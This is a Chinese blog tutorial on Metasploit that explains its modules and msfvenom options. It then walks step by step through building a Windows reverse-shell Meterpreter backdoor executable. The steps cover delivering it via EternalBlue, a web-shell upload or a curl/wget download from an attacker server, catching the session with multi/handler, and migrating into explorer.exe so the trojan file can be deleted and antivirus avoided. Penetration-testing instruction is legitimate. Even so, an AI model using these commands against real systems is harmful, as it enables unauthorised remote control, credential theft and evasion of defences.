Metasploit Framework(MSF)从入门到实战(一)_安装msf更新-CSDN博客
MSF模块介绍
MSF有7个模块,分别对下面目录下的7个子文件夹:
auxiliary(辅助模块 )
show auxiliary //查看所有辅助模块
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
exploits(渗透攻击模块)
show exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
payloads(攻击载荷模块)
成功exploit之后,真正在目标系统执行的代码或指令。
分为3种类型的payload,分别是single、stages和stagers。
-
single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
-
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
-
stages:利用stagers建立的连接下载后续payload。
encoders(编码器模块)
对payload进行加密,躲避Anti Virus检查的模块
nops(空指令模块)
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode 之前添加一段空指令区, 这样当触发渗透攻击后跳转执行Shellcode时,有一个较大的安全着陆区,从 而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,提高渗透攻击的可靠 性。
post (后渗透攻击模块)
在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板 攻击等操作
evasion (免杀模块)
metasploit升级到5.0,引入了一个新的模块,用于免杀绕过
MSF生成木马(反向shell)
msfvenom介绍
msfvenom — Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标机上执行后门上线。
参数介绍
-
-l, --list <type> 列出 [type] 的所有模块。类型有:payloads、encoders、 nops、platforms、archs、encrypt、formats、all
-
-p, --payload <payload> 要使用的有效负载(--list 要列出的有效负载,--listoptions 用于参数)。为自定义指定“-”或 STDIN
-
--list-options 列出 --payload <value> 的标准、高级和规避选项
-
-f, --format <format> 输出格式(使用 --list 格式列出)
-
-e, --encoder <encoder> 要使用的编码器(使用 --list 编码器列出)
-
--service-name <value> 生成服务二进制文件时使用的服务名称
-
--sec-name <value> 生成大型 Windows 二进制文件时使用的新部分名称。默认值: 随机 4 个字符的字母字符串
-
--smallest 使用所有可用的编码器生成尽可能小的有效载荷
-
--encrypt <value> 应用于 shellcode 的加密或编码类型(使用 --list encrypt 列出)
-
--encrypt-key <value> 用于 --encrypt 的密钥
-
--encrypt-iv <value> --encrypt 的初始化向量
-
-a, --arch <arch> 用于 --payload 和 --encoders 的架构(使用 --list archs 列出)
-
--platform <platform> --payload 的平台(使用 --list 平台列出)
-
-o, --out <path> 将有效负载保存到文件
-
-b, --bad-chars <list> 避免使用的字符示例:'\x00\xff'
-
-n, --nopsled <length> 将 [length] 大小的 nopsled 添加到有效负载上
-
--pad-nops 使用 -n <length> 指定的 nopsled 大小作为总负载大小, 自动预先添加数量的 nopsled(nops 减去负载长度)
-
-s, --space <length> 结果有效载荷的最大大小
-
--encoder-space <length> 编码负载的最大大小(默认为 -s 值)
-
-i, --iterations <count> 设置有效载荷的编码次数
-
-c, --add-code <path> 指定要包含的附加 win32 shellcode 文件
-
-x, --template <path> 指定用作模板的自定义可执行文件
-
-k, --keep 保留 --template 行为并将有效负载作为新线程注入
-
-v, --var-name <value> 指定用于某些输出格式的自定义变量名称
-
-t, --timeout <second> 从 STDIN 读取有效负载时等待的秒数(默认为 30,0 表示禁 用)
-
-h, --help 显示此消
列出全部的payload
msfvenom -l payloads
MSF永痕之蓝实战
【精选】详尽的msf——meterpreter——渗透测试教程-CSDN博客
制作属于自己的exe后门程序
Meterpreter命令详解
reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
我们将使用payload——windows/x64/meterpreter/reverse_tcp
查看payload有哪些选项,支持哪些平台
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
name:我们使用的paylaod的名字,类型
module:具体的模块
platform:目标系统
option:需要设定的参数,这里required-yes表示能更改参数
这里需要设置本机IP—LHOST
ifconig
获取到本机IP:192.168.97.60
生成后门文件
64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.226.210 LPORT=5555 -f exe > sl.exe
32位
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.134 LPORT=5555 -a x86 --platform Windows -f exe > shell1.exe
这里就多了一个shel.exe,就是我们的后门文件
这里注意一个点,如果在默认的位置上生成该文件的话,是在root文件夹里,可能会出现权限不够不能移动该文件,而这个文件需要在目标靶机上面运行才能达到我们的目的,所以在最初生成该文件的时候,建议换到desktop路径下生成
上传木马文件
- 可以通过永恒之蓝获取到的权限去执行
- 可以通过web漏洞获取到权限之后,用蚁剑上传到目标去执行
- 如果无法上传,可以将木马上传到自己的web服务器上,在目标上去下载 windows 可以用的下载命令:
- curl http://xxx.xxx.xxx.xxx/info.exe -O/-C
- linux系统,wget
总之想办法让目标机器运行这个exe
msf监听
使用msf的监听模块 use exploit/multi/handler
先使用search指令查找需要用到的模块
然后
use 5
已经载入该exp,然后设置payload,并显示需要设置的参数
set payload windows/meterpreter/reverse_tcp
show options
set lhost 10.20.58.96 # 设置为kali自己的IP
set lport 7777 #设置为刚刚创建可执行木马后门
msf上线
开始监听后,在目标机器上执行exe文件,获取目标权限
run
靶机运行了后门文件,即可获取权限
进入靶机的cmd只需要使用命令shell,退出cmd就用exit
这里涉及到命令行乱码,可以在shell模式下使用命令解决
chcp 65001#Chcp 65001的意思是改变当前活动代码页为UTF-8,让当前的批处理窗口支持UTF-8格式的文件
迁移进程
在上传木马之后,我们在进程里面可以查看到开启的进程,文件放在目标上如果对方杀软更新,很有可
能会检测出来,所以我们会将木马进程迁移到一个稳定的应用进程后,删除木马文件,如果不迁移,木
马文件将被占用无法删除
查看所有进程
查看meterpreter shell的进程号
找到explorer.exe进程pid为900
然后使用migrate 900命令将shell移到PID为900的explorer.exe进程里,因为该进程是一个稳定的应 用。
迁移完成之后,就可以删除我们上传的木马文件